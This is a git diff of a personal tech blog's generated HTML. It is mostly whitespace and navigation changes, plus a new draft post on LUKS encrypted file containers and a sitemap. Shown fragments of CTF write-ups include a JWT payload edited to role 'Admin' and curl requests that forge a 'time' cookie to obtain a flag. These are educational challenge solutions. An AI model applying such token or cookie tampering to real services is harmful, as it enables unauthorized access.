
CTF @@ -10,4 +15,4 @@
\ No newline at end of file +Next Page
\ No newline at end of file diff --git a/post/picoctf-binary-exploitation-twosum/index.html b/post/picoctf-binary-exploitation-twosum/index.html index 70797fcc..96f6db91 100644 --- a/post/picoctf-binary-exploitation-twosum/index.html +++ b/post/picoctf-binary-exploitation-twosum/index.html @@ -56,7 +56,7 @@ Since this is C and there is no integer overflow check, we can simply supply the the second. Adding them would cause the result to wrap around and become negative.'>

Twosum

This is a rather simple binary exploitation challenge. We are given the following source code for the program running on the remote server:

#include <stdio.h>
 #include <stdlib.h>
-
+
 static int addIntOvf(int result, int a, int b) {
     result = a + b;
     if(a > 0 && b > 0 && result < 0)
@@ -112,4 +112,4 @@ the second. Adding them would cause the result to wrap around and become negativ
 
\ No newline at end of file +Java Code Analysis!?! \ No newline at end of file diff --git a/post/picoctf-cryptography-pixelated/index.html b/post/picoctf-cryptography-pixelated/index.html index 75ce284b..800f409d 100644 --- a/post/picoctf-cryptography-pixelated/index.html +++ b/post/picoctf-cryptography-pixelated/index.html @@ -27,7 +27,7 @@ in variables a and b.

Next, we’ll create an image buffer for reconstructing the composite image.

let mut imgbuf: RgbaImage = ImageBuffer::new(a.width(), a.height());
 

Looping over the pixels in the shares,

for ((x, y, p), (_, _, q)) in a.pixels().zip(b.pixels()) {
     // next 2 code blocks go here ...
-}
+}
 

we sum the values in each channel …

let pixel = p.channels()
     .iter()
     .zip(q.channels().iter())
@@ -67,4 +67,4 @@ compile and run the program.

PicoCTF
 Rust
 Visual Cryptography
\ No newline at end of file
+Treebox
\ No newline at end of file
diff --git a/post/picoctf-forensics-operation-oni-operation-orchid/index.html b/post/picoctf-forensics-operation-oni-operation-orchid/index.html
index f6295ec1..51ac2ff9 100644
--- a/post/picoctf-forensics-operation-oni-operation-orchid/index.html
+++ b/post/picoctf-forensics-operation-oni-operation-orchid/index.html
@@ -170,4 +170,4 @@ picoCTF{h4un71ng_p457_17237fce}
 Forensics
 PicoCTF
 The Sleuth Kit
\ No newline at end of file
+JAuth
\ No newline at end of file
diff --git a/post/picoctf-sansalpha-writeup/index.html b/post/picoctf-sansalpha-writeup/index.html
index 4ff215b0..19c1af4f 100644
--- a/post/picoctf-sansalpha-writeup/index.html
+++ b/post/picoctf-sansalpha-writeup/index.html
@@ -106,4 +106,4 @@ think out of the box.

That’s all for now. I hope you learned somethi Sandbox Escape Python CTF

\ No newline at end of file +A Tale of a Frugal Home Server \ No newline at end of file diff --git a/post/picoctf-web-challenge-jauth/index.html b/post/picoctf-web-challenge-jauth/index.html index 8b759c62..833b3db0 100644 --- a/post/picoctf-web-challenge-jauth/index.html +++ b/post/picoctf-web-challenge-jauth/index.html @@ -35,4 +35,4 @@ Setting the cookie to this value, we are redirected to the admin page.

JWT PicoCTF Web \ No newline at end of file +Liberating 14GiB of disk space \ No newline at end of file diff --git a/post/picoctf-web-challenge-notepad/index.html b/post/picoctf-web-challenge-notepad/index.html index 5ca47e1f..0a7bd0f6 100644 --- a/post/picoctf-web-challenge-notepad/index.html +++ b/post/picoctf-web-challenge-notepad/index.html @@ -71,4 +71,4 @@ templates PicoCTF Python Web \ No newline at end of file +Gadgeting in Python Jails \ No newline at end of file diff --git a/post/picoctf-web-java-code-analysis/index.html b/post/picoctf-web-java-code-analysis/index.html index 9fc9c5c3..81cb9e69 100644 --- a/post/picoctf-web-java-code-analysis/index.html +++ b/post/picoctf-web-java-code-analysis/index.html @@ -85,7 +85,7 @@ We are also given the source code of the application.

Taking a look at the )?; // tampering the payload - payload["role"] = Value::String("Admin".into()); + payload["role"] = Value::String("Admin".into()); let token = encode(header, &signing_key, &payload, algorithm)?; @@ -122,4 +122,4 @@ We are also given the source code of the application.

Taking a look at the JWT PicoCTF Web

\ No newline at end of file +Java Script Kiddie 2 \ No newline at end of file diff --git a/post/picoctf-web-java-script-kiddie-2/index.html b/post/picoctf-web-java-script-kiddie-2/index.html index ee6d6085..d2150d11 100644 --- a/post/picoctf-web-java-script-kiddie-2/index.html +++ b/post/picoctf-web-java-script-kiddie-2/index.html @@ -176,4 +176,4 @@ scanned 1 barcode symbols from 1 images in 0.03 seconds Reverse Engineering PicoCTF Web \ No newline at end of file +Some Assembly Required 3 \ No newline at end of file diff --git a/post/picoctf-web-some-assembly-required-3/index.html b/post/picoctf-web-some-assembly-required-3/index.html index e330099a..5eff02b8 100644 --- a/post/picoctf-web-some-assembly-required-3/index.html +++ b/post/picoctf-web-some-assembly-required-3/index.html @@ -217,14 +217,14 @@ is an integer.

  e[3] = a;
   e[2] = b;
   // if (eqz(e[3]:int)) goto B_a;
-  if (*e[3] == 0) {
+  if (*e[3] == 0) {
     // b[1072] = e[3];
-    b[1072] = 0;
+    b[1072] = 0;
   }
   var k:ubyte_ptr = 4 - (e[2] % 5);
   // var l:int = k[1067];
-  // e[3] = e[3] ^ (l << 24) >> 24;
-  var l:byte = *(k + 1067);
+  // e[3] = e[3] ^ (l << 24) >> 24;
+  var l:byte = *(k + 1067);
   e[3] = e[3] ^ l;
 }
 

From the beginning of the file, we can infer that some encoded string is @@ -244,7 +244,7 @@ cargo add hex let key = hex::decode("f1a7f007ed")?; let crib: Vec<u8> = hex::decode( // "\9dn\93\c8\b2\b9A\8b\c5\c6\dda\93\c3\c2\da?\c7\93\c1\8b1\95\93\93\8eb\c8" - "9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000", + "9d6e93c8b2b9418bc5c6dd6193c3c2da3fc793c18b319593938e62c894c9d564c096c4d9379393c2900000", )? .into_iter() .enumerate() @@ -269,4 +269,4 @@ cargo add hex Reverse Engineering Web WebAssembly

\ No newline at end of file +Kringlecon 2022 Writeup \ No newline at end of file diff --git a/post/polishing-and-bugfix-week/index.html b/post/polishing-and-bugfix-week/index.html index 0945e2a5..63262549 100644 --- a/post/polishing-and-bugfix-week/index.html +++ b/post/polishing-and-bugfix-week/index.html @@ -46,7 +46,7 @@ we replace the binding’s command with the new command.

Solution? Simply reuse the unescape function we used in for the keys.

// ...
-Rule::command_component => {
+Rule::command_component => {
     command_variants.push(unescape(component.as_str()).to_string())
 }
 // ...
@@ -75,4 +75,4 @@ actually use SWHKD in my daily workflows. Stay tuned!

\ No newline at end of file +Humans Suck at Command Sanitization \ No newline at end of file diff --git a/post/preventing-infinite-recursions-from-eating-your-lunch/index.html b/post/preventing-infinite-recursions-from-eating-your-lunch/index.html index 660c4a4b..e337cb9f 100644 --- a/post/preventing-infinite-recursions-from-eating-your-lunch/index.html +++ b/post/preventing-infinite-recursions-from-eating-your-lunch/index.html @@ -31,12 +31,12 @@ hashing function. Considering that the average setup would not wield even a thousand submodules, it’s sufficient to store the imports in a set.

We’ll create slightly separate implementations to differentiate between the root module and any submodules it imports. For now, let’s tackle the implementation for the submodules.

We create a method for the parser result called as_import for loading any of these aforementioned submodules.

fn as_import(input: ParserInput, seen: &mut BTreeSet<String>) -> Result<Self, ParseError> {
     // ...
-}
+}
 

The seen argument is how the caller tells the callee about what import paths it has already seen.

While processing import expressions, we keep adding the imports we have seen so far to a local BTreeSet.

let mut imports = BTreeSet::new();
 for decl in contents.into_inner() {
     match decl.as_rule() {
         // other rules like bindings
-        Rule::import => imports.extend(import_parser(decl)),
+        Rule::import => imports.extend(import_parser(decl)),
     }
 }
 

Once all the tokens in the current config have been parsed, we can move on to adding the imports to @@ -70,11 +70,11 @@ call stack of import related functions.

Lastly, for the sake of backwards root parser result. This was the behavior present in the original parser. Note that the import fields in the submodules will all be empty since we popped them one by one in this loop:

while let Some(import) = imports.pop_first() {
     // ...
-}
+}
 

Okay, that’s all for now. See you soon!

\ No newline at end of file +Test Driven Development - The Pinnacle of Engineering \ No newline at end of file diff --git a/post/project-mana-demo/index.html b/post/project-mana-demo/index.html index ceef5fb3..524f5d5e 100644 --- a/post/project-mana-demo/index.html +++ b/post/project-mana-demo/index.html @@ -418,4 +418,4 @@ orbit.addEventListener('change', function() { 3D Animation GLSL \ No newline at end of file +PicoCTF SansAlpha Writeup \ No newline at end of file diff --git a/post/r0-hash-me-please/index.html b/post/r0-hash-me-please/index.html index 951e3c02..4c496e17 100644 --- a/post/r0-hash-me-please/index.html +++ b/post/r0-hash-me-please/index.html @@ -100,4 +100,4 @@ it only prints the flag when run.


Let’s parse the response body CTF RingZer0 Web Parsing

\ No newline at end of file +Oh my God, they killed Kenny! \ No newline at end of file diff --git a/post/r0-hash-me-reloaded/index.html b/post/r0-hash-me-reloaded/index.html index 9b655c0a..37db9ede 100644 --- a/post/r0-hash-me-reloaded/index.html +++ b/post/r0-hash-me-reloaded/index.html @@ -106,4 +106,4 @@ that it only prints the flag when run.


Let’s parse the response body CTF RingZer0 Web Parsing

\ No newline at end of file +Hash Me Please \ No newline at end of file diff --git a/post/r0-i-saw-a-little-elf/index.html b/post/r0-i-saw-a-little-elf/index.html index 745b48c8..6cb8bb13 100644 --- a/post/r0-i-saw-a-little-elf/index.html +++ b/post/r0-i-saw-a-little-elf/index.html @@ -148,4 +148,4 @@ we set the request off.

ELF
 RingZer0
 Web Parsing
\ No newline at end of file
+RingZer0 CTF Hash Me Reloaded
\ No newline at end of file
diff --git a/post/ringzer0ctf-bash-jail1/index.html b/post/ringzer0ctf-bash-jail1/index.html
index e1659c06..f3dec7f5 100644
--- a/post/ringzer0ctf-bash-jail1/index.html
+++ b/post/ringzer0ctf-bash-jail1/index.html
@@ -29,4 +29,4 @@ and the script should error out with the contents of the file.

CTF RingZer0 Sandbox Escape \ No newline at end of file +Operation Oni, Operation Orchid \ No newline at end of file diff --git a/post/ringzer0ctf-bash-jail2/index.html b/post/ringzer0ctf-bash-jail2/index.html index 66f80371..a556e56b 100644 --- a/post/ringzer0ctf-bash-jail2/index.html +++ b/post/ringzer0ctf-bash-jail2/index.html @@ -57,4 +57,4 @@ tab in place of the whitespace.

Solution

We give the s CTF RingZer0 Sandbox Escape

\ No newline at end of file +Bash Jail 1 \ No newline at end of file diff --git a/post/ringzer0ctf-bash-jail3/index.html b/post/ringzer0ctf-bash-jail3/index.html index ab9fbb27..3fcd9d8a 100644 --- a/post/ringzer0ctf-bash-jail3/index.html +++ b/post/ringzer0ctf-bash-jail3/index.html @@ -56,4 +56,4 @@ characters. One such command would be tail which, by default, reads CTF RingZer0 Sandbox Escape \ No newline at end of file +Bash Jail 2 \ No newline at end of file diff --git a/post/test-driven-development-the-pinnacle-of-engineering/index.html b/post/test-driven-development-the-pinnacle-of-engineering/index.html index 55f6bdb0..969a7f0f 100644 --- a/post/test-driven-development-the-pinnacle-of-engineering/index.html +++ b/post/test-driven-development-the-pinnacle-of-engineering/index.html @@ -97,4 +97,4 @@ can learn from my mistakes and embrace testing slightly ahead of time. See you s SWHKD Waycrate Wayland \ No newline at end of file +Modes, Unbinds and Other Ensembled Parser Patterns \ No newline at end of file diff --git a/post/the-gsoc-grand-finale/index.html b/post/the-gsoc-grand-finale/index.html index ebb42efe..f858296a 100644 --- a/post/the-gsoc-grand-finale/index.html +++ b/post/the-gsoc-grand-finale/index.html @@ -68,4 +68,4 @@ of building this parser. This has been my GSoC 2024, thank you so much for readi SWHKD Waycrate Wayland \ No newline at end of file +Painlessly setting up ML tooling on NixOS \ No newline at end of file diff --git a/post/timing-is-key/index.html b/post/timing-is-key/index.html index 5546d1ce..6e16cd58 100644 --- a/post/timing-is-key/index.html +++ b/post/timing-is-key/index.html @@ -70,4 +70,4 @@ and how they can be different from regular keys. See you soon!

SWHKD Waycrate Wayland \ No newline at end of file +Keep the Keys Clackin' \ No newline at end of file diff --git a/post/volcano-reverse-engineering-amateursctf-2023/index.html b/post/volcano-reverse-engineering-amateursctf-2023/index.html index 369f504d..961d88df 100644 --- a/post/volcano-reverse-engineering-amateursctf-2023/index.html +++ b/post/volcano-reverse-engineering-amateursctf-2023/index.html @@ -105,7 +105,7 @@ and stores the result in the ok variable.

< ok = process_bear(bear);

The next block only executes when ok is true.

if (ok) {
   // ...
-}
+}
 

Inside this block, the program for another unsigned long integer as before but calls it a volcano, running a check specific to this input.

printf("Give me a volcano: ");
 volcano = 0;
@@ -113,7 +113,7 @@ a check specific to this input.

_ok = process_volcano(volcano);
 

The next conditional block executes when this process_volcano subroutine return true.

if (_ok) {
   // ...
-}
+}
 

The program then asks for another unsigned long integer as a proof for the “volcano” and the “bear” being the same.

printf("Prove to me they are the same: ");
 proof = 0;
 leet = 0x1337;
@@ -128,12 +128,12 @@ There’s nothing worth explaining about them in particular but you may chec
 n_bear = n_digits(bear);
 if (n_volcano == n_bear) {
   // ...
- }
+ }
 

Our second constraint is that the sum of the digits must equal for the volcano and the bear.

n_volcano = sum_of_digits(volcano);
 n_bear = sum_of_digits(bear);
 if (n_volcano == n_bear) {
   // ...
-}
+}
 

Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.

m_v = check_proof(leet,volcano,proof);
 m_b = check_proof(leet,bear,proof);
 if (m_v == m_b) {
@@ -209,7 +209,7 @@ The code would look like the following:

  && sum_and_number_of_digits(bear) == sum_and_number_of_digits(volcano)
   {
     // do something
-  }
+  }
 }
 

Since most of the conditions are modulo congruence checks, we can use the Chinese Remainder Theorem to solve for the smallest number that leaves the respective remainders and begin from there.

Let aa be a vector of all the moduli and rr represent the array of the respective remainders.

a=[2357109] @@ -316,4 +316,4 @@ amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:} CTF Remainder Theorem Reverse EngineeringCompact XOR -Waiting an Eternity \ No newline at end of file +Waiting an Eternity \ No newline at end of file diff --git a/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html b/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html index f370eddc..00fec12c 100644 --- a/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html +++ b/post/wait-an-eternity-web-challenge-amateursctf-2023/index.html @@ -54,20 +54,20 @@ welcome. please wait another eternity.

There is another difference in the headers of the response. This time, instead of the refresh header, we can notice a set-cookie header with the time cookie set to a floating point number.

set-cookie: time=1689655442.2456439; path=/
 

Let’s try setting this time cookie to 0 using the -b flag with curl.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
--b "time=0"
+-b "time=0"
 

The response tells us that we haven’t waited enough.

you have not waited an eternity. you have only waited 1689655538.27981 seconds
 

This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value 1689655442.2456439 we encountered before, let’s try supplying an even smaller number like -1000.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
--b "time=-1000"
+-b "time=-1000"
 

The response says:

you have not waited an eternity. you have only waited 1689657530.625615 seconds
 

Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response. This implies, for smaller values supplied to the time cookie, the time we have waited increases.

The last piece to the puzzle is that the time cookie is a floating point number. According to the IEE 754 floating point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and signed infinities. To wait an eternity, we can supply the most negative value possible, -inf.

curl "https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a" \
--b "time=-inf"
+-b "time=-inf"
 

This finally gives us our flag.

amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
 
\ No newline at end of file +I Switched to NixOS \ No newline at end of file diff --git a/post/wayland-tools-rock/index.html b/post/wayland-tools-rock/index.html index 077efd41..edcfac40 100644 --- a/post/wayland-tools-rock/index.html +++ b/post/wayland-tools-rock/index.html @@ -21,4 +21,4 @@ See you soon!

\ No newline at end of file +Using an Android Phone as a webcam in NixOS \ No newline at end of file diff --git a/post/working-with-luks-file-stashes/index.html b/post/working-with-luks-file-stashes/index.html new file mode 100644 index 00000000..772aef06 --- /dev/null +++ b/post/working-with-luks-file-stashes/index.html @@ -0,0 +1,26 @@ +Working With LUKS File Stashes - lavafroth

Working With LUKS File Stashes

THIS POST IS A DRAFT

LUKS is an incredible solution for encrypting entire partitions in Linux. +Often times, however, we can’t afford to create new partitions inside a disk +without having to completely format the drive anew.

In this post, I will guide you through the process of creating and working +with LUKS container files that are encrypted at rest and can be decrypted on +demand with knowledge of the passphrase.

Creating the image base

head --bytes=4G /dev/urandom > stash.img
+

Format the image

Including the LUKS header

cryptsetup luksFormat stash.img
+

With a detached LUKS header

cryptsetup luksFormat stash.img --header stash.img.luks
+

In either case, cryptsetup will ask you to supply a passphrase which will secure +the contents of this container.

Interacting with the image

This section shall describe mounting and unmounting the stash both with and without +super user privileges, although, I suppose most readers will be interested in latter +since that’s the whole point of portable LUKS file stashes.

With super user privileges

Mounting

mkdir -p /mnt/stash
+cryptsetup open stash.img stash
+mount /dev/mapper/stash /mnt/stash
+

Unmounting

umount /dev/mapper/stash
+cryptsetup close stash
+

Without super user privileges

Mounting

udisksctl loop-setup --file stash.img
+

This returns the path to a loop device, for example, /dev/loop0.

udisksctl unlock --block-device /dev/loop0
+

Enter the passphrase previously used for formatting the image. The drive should be accessible via a graphical file manager.

Unmounting

udisksctl lock --block-device /dev/loop0
+udisksctl loop-delete --block-device /dev/loop0
+
\ No newline at end of file diff --git a/privacy/index.html b/privacy/index.html index 396f60cc..26ab2448 100644 --- a/privacy/index.html +++ b/privacy/index.html @@ -1,4 +1,4 @@ Privacy Policy - lavafroth

Privacy Policy

This site does not use cookies or <link> any third party resources to track you. -The site theme changes based on your theme preference propagated by your browser.

Posts here can be viewed without javascript excepting live demos. The only feature relying on javascript is the search.

\ No newline at end of file +The site theme changes based on your theme preference propagated by your browser.

Posts here can be viewed without javascript excepting live demos. The only feature relying on javascript is the search.

\ No newline at end of file diff --git a/project_mana/index.html b/project_mana/index.html index 58df4943..3bea7c85 100644 --- a/project_mana/index.html +++ b/project_mana/index.html @@ -403,4 +403,4 @@ renderer.setAnimationLoop(animate); orbit.addEventListener('change', function() { init = true; }) -
\ No newline at end of file +
\ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml index 5471f083..5d7f4fae 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1 +1 @@ -https://lavafroth.is-a.dev/tags/algebraic-data-types/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/post/algebraic-python-enums/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/decorators/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/post/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/python/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/rust/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/tags/2025-11-02T19:08:46+05:30https://lavafroth.is-a.dev/skta4v7n8h8/2025-10-31T20:24:35+05:30https://lavafroth.is-a.dev/jfgp3d7rrx0/2025-10-28T16:09:00+05:30https://lavafroth.is-a.dev/ilrlmvakdlx9uwodtocdbg/2025-10-03T16:04:18+05:30https://lavafroth.is-a.dev/divmqbyvl9y/2025-10-03T16:04:18+05:30https://lavafroth.is-a.dev/tags/nix/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/nixos/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/post/nixos-notes-to-self/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/notes/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/tags/troubleshooting/2025-09-14T18:31:52+05:30https://lavafroth.is-a.dev/privacy/2025-08-30T09:00:14+05:30https://lavafroth.is-a.dev/tags/e/os/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/android/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/custom-rom/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/post/changing-recents-provider-on-eos/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickstep/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/tags/quickswitch/2025-08-20T09:55:43+05:30https://lavafroth.is-a.dev/art/sparkles/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/art/2025-07-15T11:52:20+05:30https://lavafroth.is-a.dev/post/detecting-stripped-go-binaries/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/go/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/reverse-engieering/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/til/2025-06-13T08:39:58+05:30https://lavafroth.is-a.dev/tags/ai/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/llm/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/post/do-you-really-need-a-copilot/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/rant/2025-04-03T15:56:04+05:30https://lavafroth.is-a.dev/tags/bioinformatics/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/dna/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/post/in-search-of-the-smallest-dna-compl/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/linear-algebra/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/remainder-theorem/2025-02-14T09:40:11+05:30https://lavafroth.is-a.dev/tags/3d/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/animation/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/post/project-mana-demo/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/glsl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/manim/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/threejs/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/webgl/2025-01-20T19:41:51+05:30https://lavafroth.is-a.dev/tags/bash/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/ctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/picoctf/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/picoctf-sansalpha-writeup/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/tags/sandbox-escape/2025-01-05T11:55:52+05:30https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/automation/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/home-server/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/jellyfin/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/photoprism/2025-01-04T10:04:37+05:30https://lavafroth.is-a.dev/tags/lanzaboote/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/sbctl/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/secureboot/2024-12-20T12:26:10+05:30https://lavafroth.is-a.dev/tags/ebnf/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/google-summer-of-code/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/swhkd/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/waycrate/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/wayland/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/2024-08-24T10:28:50+05:30https://lavafroth.is-a.dev/tags/cuda/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/machine-learning/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/nvidia/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/tags/workflow/2024-08-10T08:18:30+05:30https://lavafroth.is-a.dev/art/amateur-blender-sculpture/2024-08-03T17:50:00+05:30https://lavafroth.is-a.dev/post/how-i-use-swhkd-in-my-workflow/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/tags/video-editing/2024-08-01T17:17:31+05:30https://lavafroth.is-a.dev/post/polishing-and-bugfix-week/2024-07-29T13:46:41+05:30https://lavafroth.is-a.dev/post/humans-suck-at-command-sanitization/2024-07-17T07:55:34+05:30https://lavafroth.is-a.dev/post/preventing-infinite-recursions-from-eating-your-lunch/2024-07-04T09:57:01+05:30https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/2024-06-24T08:45:49+05:30https://lavafroth.is-a.dev/art/drowning/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/art/thiserror/2024-06-18T09:30:00+05:30https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/2024-06-10T08:27:06+05:30https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/kernel-modules/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/laptops/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/tags/linux/2024-06-07T17:01:01+05:30https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/2024-06-05T10:26:13+05:30https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/2024-06-03T08:18:19+05:30https://lavafroth.is-a.dev/post/timing-is-key/2024-05-29T21:18:22+05:30https://lavafroth.is-a.dev/post/keep-the-keys-clackin/2024-05-27T08:59:29+05:30https://lavafroth.is-a.dev/post/2-afternoons-2-languages-2-tuis/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/terminal/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/ui/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/tags/youtube/2024-05-23T18:37:47+05:30https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/post/wayland-tools-rock/2024-05-17T07:52:44+05:30https://lavafroth.is-a.dev/tags/meta/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/2024-03-10T08:47:08+05:30https://lavafroth.is-a.dev/art/wip-animation/2024-01-19T09:30:00+05:30https://lavafroth.is-a.dev/tags/binary-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/ci-exploitation/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cloud-security/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/cryptography/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/dmarc/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/kringlecon-2023-writeup/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/reverse-engineering/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/tags/web/2024-01-10T19:51:32+05:30https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/concurrency/2023-12-06T10:58:10+05:30https://lavafroth.is-a.dev/tags/amateursctf/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/headache-reverse-engineering-amateursctf-2023/2023-09-07T07:03:27+05:30https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/2023-08-24T18:05:59+05:30https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/2023-07-21T18:29:59+05:30https://lavafroth.is-a.dev/tags/cookies/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/2023-07-19T07:53:17+05:30https://lavafroth.is-a.dev/post/i-switched-to-nixos/2023-07-08T09:29:34+05:30https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/2023-04-10T08:44:28+05:30https://lavafroth.is-a.dev/tags/java/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-code-analysis/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/jwt/2023-03-18T07:10:17+05:30https://lavafroth.is-a.dev/tags/image-reconstruction/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-java-script-kiddie-2/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/tags/javascript/2023-03-03T09:47:54+05:30https://lavafroth.is-a.dev/post/picoctf-web-some-assembly-required-3/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/tags/webassembly/2023-02-09T16:39:08+05:30https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/powershell/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/tags/wireshark/2023-01-09T10:36:35+05:30https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/visual-cryptography/2022-11-22T09:25:20+05:30https://lavafroth.is-a.dev/tags/ast/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/google-ctf/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/post/google-ctf-2022-treebox/2022-08-19T10:04:36+05:30https://lavafroth.is-a.dev/tags/elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-i-saw-a-little-elf/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/ringzer0/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/tags/web-parsing/2022-08-19T09:57:34+05:30https://lavafroth.is-a.dev/post/r0-hash-me-reloaded/2022-08-19T09:57:15+05:30https://lavafroth.is-a.dev/post/r0-hash-me-please/2022-08-19T09:57:00+05:30h